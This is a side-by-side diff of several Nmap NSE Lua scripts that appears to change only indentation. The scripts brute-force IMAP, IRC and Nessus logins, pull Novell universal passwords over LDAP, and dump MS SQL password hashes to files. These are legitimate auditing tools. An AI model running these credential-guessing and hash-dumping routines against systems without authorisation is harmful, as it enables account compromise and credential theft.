local status, err = self.helper:login( username, password, mech ) local status, err = self.helper:login( username, password, mech )
if ( status ) then if ( status ) then
self.helper:close() self.helper:close()
self.helper:connect() self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
if ( err:match("^ERROR: Failed to .* data$") ) then if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close() self.helper:close()
self.helper:connect() self.helper:connect()
local err = brute.Error:new( err ) local err = brute.Error:new( err )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
-- Disconnects from the server (release the connection object back to -- Disconnects from the server (release the connection object back to
-- the pool) -- the pool)
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
-- Connects to the server and retrieves the capabilities so that -- Connects to the server and retrieves the capabilities so that
-- authentication mechanisms can be determined -- authentication mechanisms can be determined
local helper = imap.Helper:new(host, port) local helper = imap.Helper:new(host, port)
local status = helper:connect() local status = helper:connect()
if (not(status)) then return "\n ERROR: Failed to connect to the server." end if (not(status)) then return "\n ERROR: Failed to connect to the server." end
local status, capabilities = helper:capabilities() local status, capabilities = helper:capabilities()
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
-- check if an authentication mechanism was provided or try -- check if an authentication mechanism was provided or try
-- try them in the mech_prio order -- try them in the mech_prio order
local mech_prio = stdnse.get_script_args("imap-brute.auth") local mech_prio = stdnse.get_script_args("imap-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" } { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
-- iterates over auth mechanisms until a valid mechanism is found -- iterates over auth mechanisms until a valid mechanism is found
for _, m in ipairs(mech_prio) do for _, m in ipairs(mech_prio) do
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
mech = "LOGIN" mech = "LOGIN"
break break
elseif ( capabilities["AUTH=" .. m] ) then elseif ( capabilities["AUTH=" .. m] ) then
mech = m mech = m
break break
end end
end end
-- if no mechanisms were found, abort -- if no mechanisms were found, abort
if ( not(mech) ) then if ( not(mech) ) then
return "\n ERROR: No suitable authentication mechanism was found" return "\n ERROR: No suitable authentication mechanism was found"
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
for _, helper in pairs(ConnectionPool) do helper:close() end for _, helper in pairs(ConnectionPool) do helper:close() end
return result return result
end end

View File

@@ -38,54 +38,54 @@ portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"})
Driver = { Driver = {
new = function(self, host, port, opts) new = function(self, host, port, opts)
local o = { host = host, port = port, opts = opts or {} } local o = { host = host, port = port, opts = opts or {} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
-- the high timeout should take delays from ident into consideration -- the high timeout should take delays from ident into consideration
local s, r, opts, _ = comm.tryssl(self.host, local s, r, opts, _ = comm.tryssl(self.host,
self.port, self.port,
'', '',
{ timeout = self.opts.timeout or 10000 } ) { timeout = self.opts.timeout or 10000 } )
if ( not(s) ) then if ( not(s) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
self.socket = s self.socket = s
return true return true
end, end,
login = function(self, _, password) login = function(self, _, password)
local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password) local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password)
local status, data = self.socket:send(msg) local status, data = self.socket:send(msg)
local success = false local success = false
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( data ) local err = brute.Error:new( data )
-- This might be temporary, set the retry flag -- This might be temporary, set the retry flag
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
repeat repeat
local status, response = self.socket:receive_buf("\r?\n", false) local status, response = self.socket:receive_buf("\r?\n", false)
-- we check for the RPL_WELCOME message, if we don't see it, -- we check for the RPL_WELCOME message, if we don't see it,
-- we failed to authenticate -- we failed to authenticate
if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then
success = true success = true
end end
until(not(status)) until(not(status))
if (success) then if (success) then
return true, brute.Account:new("", password, creds.State.VALID) return true, brute.Account:new("", password, creds.State.VALID)
end end
return false, brute.Error:new("Incorrect password") return false, brute.Error:new("Incorrect password")
end, end,
disconnect = function(self) return self.socket:close() end, disconnect = function(self) return self.socket:close() end,
} }
local function random_nick() local function random_nick()
@@ -97,48 +97,48 @@ local function random_nick()
end end
local function needsPassword(host, port) local function needsPassword(host, port)
local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick()) local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick())
local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } ) local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } )
local err, code local err, code
repeat repeat
local status, response = s:receive_buf("\r?\n", false) local status, response = s:receive_buf("\r?\n", false)
if ( status ) then if ( status ) then
code = tonumber(response:match("^:.-%s(%d*)%s")) code = tonumber(response:match("^:.-%s(%d*)%s"))
-- break after first code -- break after first code
if (code == 001 ) then if (code == 001 ) then
err = "The IRC service does not require authentication" err = "The IRC service does not require authentication"
break break
elseif( code ) then elseif( code ) then
break break
end end
end end
until(not(status)) until(not(status))
if (code == 464) then if (code == 464) then
return true return true
end end
if ( code ) then if ( code ) then
return false, ("Failed to check password requirements, unknown code (%d)"):format(code) return false, ("Failed to check password requirements, unknown code (%d)"):format(code)
else else
return false, "Failed to check password requirements" return false, "Failed to check password requirements"
end end
end end
action = function(host, port) action = function(host, port)
local status, err = needsPassword(host, port) local status, err = needsPassword(host, port)
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output(false, err) return stdnse.format_output(false, err)
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
engine.options.passonly = true engine.options.passonly = true
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -54,86 +54,86 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port) function action(host,port)
local username = stdnse.get_script_args("ldap-novell-getpass.username") local username = stdnse.get_script_args("ldap-novell-getpass.username")
local password = stdnse.get_script_args("ldap-novell-getpass.password") or "" local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
local account = stdnse.get_script_args("ldap-novell-getpass.account") local account = stdnse.get_script_args("ldap-novell-getpass.account")
if ( not(username) ) then if ( not(username) ) then
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)" return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
end end
if ( not(account) ) then if ( not(account) ) then
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)" return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
else else
-- do some basic account validation -- do some basic account validation
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
return "\n ERROR: The account argument should be specified as:\n" .. return "\n ERROR: The account argument should be specified as:\n" ..
" \"CN=name,OU=orgunit,O=org\"" " \"CN=name,OU=orgunit,O=org\""
end end
end end
-- In order to discover what protocol to use (SSL/TCP) we need to send a -- In order to discover what protocol to use (SSL/TCP) we need to send a
-- few bytes to the server. An anonymous bind should do it -- few bytes to the server. An anonymous bind should do it
local anon_bind = bin.pack("H", "300c020101600702010304008000" ) local anon_bind = bin.pack("H", "300c020101600702010304008000" )
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil ) local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
if ( not(socket) ) then if ( not(socket) ) then
return "\n ERROR: Failed to connect to LDAP server" return "\n ERROR: Failed to connect to LDAP server"
end end
local status, errmsg = ldap.bindRequest( socket, { local status, errmsg = ldap.bindRequest( socket, {
version = 3, version = 3,
username = username, username = username,
password = password password = password
} }
) )
if ( not(status) ) then return errmsg end if ( not(status) ) then return errmsg end
-- Start encoding the NMAS Get Password Request -- Start encoding the NMAS Get Password Request
local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13" local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14" local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
-- Add a trailing zero to the account name -- Add a trailing zero to the account name
local data = ldap.encode( account .. '\0' ) local data = ldap.encode( account .. '\0' )
-- The following section could do with more documentation -- The following section could do with more documentation
-- It's based on packet dumps from the getpass utility available from Novell Cool Solutions -- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
-- encode the account name as a sequence -- encode the account name as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } ) data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } )
data = ldap.encode( { _ldaptype = '81', data } ) data = ldap.encode( { _ldaptype = '81', data } )
data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
data = ldap.encode( { _ldaptype = '77', data } ) data = ldap.encode( { _ldaptype = '77', data } )
-- encode the whole extended request as a sequence -- encode the whole extended request as a sequence
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } ) data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
status = socket:send(data) status = socket:send(data)
if ( not(status) ) then return "ERROR: Failed to send request" end if ( not(status) ) then return "ERROR: Failed to send request" end
status, data = socket:receive() status, data = socket:receive()
if ( not(status) ) then return data end if ( not(status) ) then return data end
socket:close() socket:close()
local _, response = ldap.decode(data) local _, response = ldap.decode(data)
-- make sure the result code was a success -- make sure the result code was a success
local rescode = ( #response >= 2 ) and response[2] local rescode = ( #response >= 2 ) and response[2]
local respname = ( #response >= 5 ) and response[5] local respname = ( #response >= 5 ) and response[5]
if ( rescode ~= 0 ) then if ( rescode ~= 0 ) then
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured" local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured"
return "\n ERROR: " .. errmsg return "\n ERROR: " .. errmsg
end end
-- make sure we get a NMAS Get Password Response back from the server -- make sure we get a NMAS Get Password Response back from the server
if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3] local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
if ( universal_pw ) then if ( universal_pw ) then
local output = {} local output = {}
table.insert(output, ("Account: %s"):format(account)) table.insert(output, ("Account: %s"):format(account))
table.insert(output, ("Password: %s"):format(universal_pw)) table.insert(output, ("Password: %s"):format(universal_pw))
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
else else
return "\n ERROR: No password was found" return "\n ERROR: No password was found"
end end
end end

View File

@@ -100,58 +100,58 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port) function action(host,port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, searchResEntries, req, result, opt local status, searchResEntries, req, result, opt
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it -- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _ local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
if not socket then if not socket then
return return
end end
-- We close and re-open the socket so that the anonymous bind does not distract us -- We close and re-open the socket so that the anonymous bind does not distract us
socket:close() socket:close()
status = socket:connect(host, port, opt) status = socket:connect(host, port, opt)
socket:set_timeout(10000) socket:set_timeout(10000)
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes -- Searching for an empty argument list against LDAP on W2K3 returns all attributes
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list -- This is not the case for OpenLDAP, so we do a search for an empty attribute list
-- Then we compare the results against some known and expected returned attributes -- Then we compare the results against some known and expected returned attributes
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default } req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
status, searchResEntries = ldap.searchRequest( socket, req ) status, searchResEntries = ldap.searchRequest( socket, req )
-- Check if we were served all the results or not? -- Check if we were served all the results or not?
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
-- The namingContexts was not there, try to query all attributes instead -- The namingContexts was not there, try to query all attributes instead
-- Attributes extracted from Windows 2003 and complemented from RFC -- Attributes extracted from Windows 2003 and complemented from RFC
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext", local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN", "dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts", "isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry", "rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion", "supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
"supportedSASLMechanisms", "altServer", "supportedExtension"} "supportedSASLMechanisms", "altServer", "supportedExtension"}
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs } req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
status, searchResEntries = ldap.searchRequest( socket, req ) status, searchResEntries = ldap.searchRequest( socket, req )
end end
if not status then if not status then
socket:close() socket:close()
return return
end end
result = ldap.searchResultToTable( searchResEntries ) result = ldap.searchResultToTable( searchResEntries )
socket:close() socket:close()
-- if taken a way and ldap returns a single result, it ain't shown.... -- if taken a way and ldap returns a single result, it ain't shown....
result.name = "LDAP Results" result.name = "LDAP Results"
return stdnse.format_output(true, result ) return stdnse.format_output(true, result )
end end

View File

@@ -45,106 +45,106 @@ portrule = shortport.port_or_service(8091, "http", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err) end local function fail(err) return ("\n ERROR: %s"):format(err) end
local filter = { local filter = {
["parsed[1]['nodes'][1]['os']"] = { name = "OS" }, ["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
["parsed[1]['nodes'][1]['version']"] = { name = "Version" }, ["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" }, ["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
["parsed[1]['nodes'][1]['status']"] = { name = "Status" }, ["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" }, ["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" }, ["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" }, ["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" }, ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" }, ["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" }, ["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" }, ["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" }, ["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" }, ["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" }, ["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
} }
local order = { local order = {
"parsed[1]['nodes'][1]['hostname']", "parsed[1]['nodes'][1]['hostname']",
"parsed[1]['nodes'][1]['os']", "parsed[1]['nodes'][1]['os']",
"parsed[1]['nodes'][1]['version']", "parsed[1]['nodes'][1]['version']",
"parsed['componentsVersion']['kernel']", "parsed['componentsVersion']['kernel']",
"parsed['componentsVersion']['mnesia']", "parsed['componentsVersion']['mnesia']",
"parsed['componentsVersion']['stdlib']", "parsed['componentsVersion']['stdlib']",
"parsed['componentsVersion']['os_mon']", "parsed['componentsVersion']['os_mon']",
"parsed['componentsVersion']['ns_server']", "parsed['componentsVersion']['ns_server']",
"parsed['componentsVersion']['sasl']", "parsed['componentsVersion']['sasl']",
"parsed[1]['nodes'][1]['status']", "parsed[1]['nodes'][1]['status']",
"parsed[1]['nodes'][1]['uptime']", "parsed[1]['nodes'][1]['uptime']",
"parsed[1]['nodes'][1]['memoryTotal']", "parsed[1]['nodes'][1]['memoryTotal']",
"parsed[1]['nodes'][1]['memoryFree']", "parsed[1]['nodes'][1]['memoryFree']",
"parsed[1]['vBucketServerMap']['serverList']", "parsed[1]['vBucketServerMap']['serverList']",
} }
local function cmdReq(host, port, url, result) local function cmdReq(host, port, url, result)
local response = http.get(host, port, url) local response = http.get(host, port, url)
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
return false return false
end end
if ( response.header['server'] and if ( response.header['server'] and
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
return false return false
end end
local status, parsed = json.parse(response.body) local status, parsed = json.parse(response.body)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to parse response from server" return false, "Failed to parse response from server"
end end
result = result or {} result = result or {}
for item in pairs(filter) do for item in pairs(filter) do
local var, val = "" local var, val = ""
for x in item:gmatch("(.-%])") do for x in item:gmatch("(.-%])") do
var = var .. x var = var .. x
local env = setmetatable({parsed=parsed}, {__index = _G}) local env = setmetatable({parsed=parsed}, {__index = _G})
local func = load("return " .. var, nil, "t", env) local func = load("return " .. var, nil, "t", env)
if ( not(func()) ) then if ( not(func()) ) then
val = nil val = nil
break break
end end
val = func() val = func()
end end
if ( val ) then if ( val ) then
local name = filter[item].name local name = filter[item].name
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val ) val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
result[item] = { name = name, value = val } result[item] = { name = name, value = val }
end end
end end
return true, result return true, result
end end
action = function(host, port) action = function(host, port)
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port) local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false return false
end end
local urls = { "/pools/default/buckets", "/pools" } local urls = { "/pools/default/buckets", "/pools" }
local status, result local status, result
for _, u in ipairs(urls) do for _, u in ipairs(urls) do
status, result = cmdReq(host, port, u, result) status, result = cmdReq(host, port, u, result)
end end
if ( not(result) or not(next(result)) ) then if ( not(result) or not(next(result)) ) then
return return
end end
local output = tab.new(2) local output = tab.new(2)
for _, item in ipairs(order) do for _, item in ipairs(order) do
if ( result[item] ) then if ( result[item] ) then
tab.addrow(output, result[item].name, result[item].value) tab.addrow(output, result[item].name, result[item].value)
end end
end end
return stdnse.format_output(true, tab.dump(output)) return stdnse.format_output(true, tab.dump(output))
end end

View File

@@ -43,46 +43,46 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance(instance) local function process_instance(instance)
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
local status, errorMessage = helper:ConnectEx( instance ) local status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then if ( not(status) ) then
return false, { return false, {
['name'] = string.format( "[%s]", instance:GetName() ), ['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage "ERROR: " .. errorMessage
} }
end end
status, errorMessage = helper:LoginEx( instance ) status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then if ( not(status) ) then
return false, { return false, {
['name'] = string.format( "[%s]", instance:GetName() ), ['name'] = string.format( "[%s]", instance:GetName() ),
"ERROR: " .. errorMessage "ERROR: " .. errorMessage
} }
end end
local result local result
local query = [[ local query = [[
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0 IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0 ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
SELECT name, password_hash FROM master.sys.sql_logins SELECT name, password_hash FROM master.sys.sql_logins
]] ]]
status, result = helper:Query( query ) status, result = helper:Query( query )
local output = {} local output = {}
if ( status ) then if ( status ) then
for _, row in ipairs( result.rows ) do for _, row in ipairs( result.rows ) do
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") ) table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
end
end end
end
helper:Disconnect() helper:Disconnect()
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output ) table.insert( instanceOutput, output )
return true, instanceOutput return true, instanceOutput
end end
@@ -92,44 +92,44 @@ end
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return err string containing the error if status is false -- @return err string containing the error if status is false
local function saveToFile(filename, response) local function saveToFile(filename, response)
local f = io.open( filename, "w") local f = io.open( filename, "w")
if ( not(f) ) then if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename) return false, ("Failed to open file (%s)"):format(filename)
end end
for _, row in ipairs(response) do for _, row in ipairs(response) do
if ( not(f:write(row .."\n" ) ) ) then if ( not(f:write(row .."\n" ) ) ) then
return false, ("Failed to write file (%s)"):format(filename) return false, ("Failed to write file (%s)"):format(filename)
end end
end end
f:close() f:close()
return true return true
end end
action = function( host, port ) action = function( host, port )
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir") local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local status, instanceOutput = process_instance( instance ) local status, instanceOutput = process_instance( instance )
if ( status ) then if ( status ) then
local filename local filename
if ( dir ) then if ( dir ) then
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName() local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance)) filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
saveToFile(filename, instanceOutput[1]) saveToFile(filename, instanceOutput[1])
end end
end end
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
if ( #scriptOutput == 0 ) then return end if ( #scriptOutput == 0 ) then return end
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] ) local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
return stdnse.format_output( true, output ) return stdnse.format_output( true, output )
end end

View File

@@ -39,115 +39,115 @@ portrule = shortport.port_or_service(1241, "nessus", "tcp")
Driver = Driver =
{ {
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
return false return false
end end
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n" local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
local status, err = self.socket:send(handshake) local status, err = self.socket:send(handshake)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send handshake to server" ) local err = brute.Error:new( "Failed to send handshake to server" )
err:setAbort(true) err:setAbort(true)
return false, err return false, err
end end
local line local line
status, line = self.socket:receive_buf("\r?\n", false) status, line = self.socket:receive_buf("\r?\n", false)
if ( not(status) or line ~= "< NTP/1.2 >" ) then if ( not(status) or line ~= "< NTP/1.2 >" ) then
local err = brute.Error:new( "The server failed to respond to handshake" ) local err = brute.Error:new( "The server failed to respond to handshake" )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
status, line = self.socket:receive() status, line = self.socket:receive()
if ( not(status) or line ~= "User : ") then if ( not(status) or line ~= "User : ") then
local err = brute.Error:new( "Expected \"User : \", got something else" ) local err = brute.Error:new( "Expected \"User : \", got something else" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status = self.socket:send(username .. "\n") status = self.socket:send(username .. "\n")
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send username to server" ) local err = brute.Error:new( "Failed to send username to server" )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
status, line = self.socket:receive() status, line = self.socket:receive()
if ( not(status) or line ~= "Password : ") then if ( not(status) or line ~= "Password : ") then
local err = brute.Error:new( "Expected \"Password : \", got something else" ) local err = brute.Error:new( "Expected \"Password : \", got something else" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status = self.socket:send(password) status = self.socket:send(password)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" ) local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
-- the line feed has to be sent separate like this, otherwise we don't -- the line feed has to be sent separate like this, otherwise we don't
-- receive the server response and the server simply hangs up -- receive the server response and the server simply hangs up
status = self.socket:send("\n") status = self.socket:send("\n")
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send password to server" ) local err = brute.Error:new( "Failed to send password to server" )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
-- we force a brief incorrect statement just to get an error message to -- we force a brief incorrect statement just to get an error message to
-- confirm that we've succesfully authenticated to the server -- confirm that we've succesfully authenticated to the server
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n" local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
status = self.socket:send(bad_cli_pref) status = self.socket:send(bad_cli_pref)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send bad client preferences packet to server" ) local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
-- if the server disconnects us at this point, it's most likely due to -- if the server disconnects us at this point, it's most likely due to
-- that the authentication failed, so simply treat it as an incorrect -- that the authentication failed, so simply treat it as an incorrect
-- password, rather than abort. -- password, rather than abort.
status, line = self.socket:receive() status, line = self.socket:receive()
if ( not(status) ) then if ( not(status) ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end end
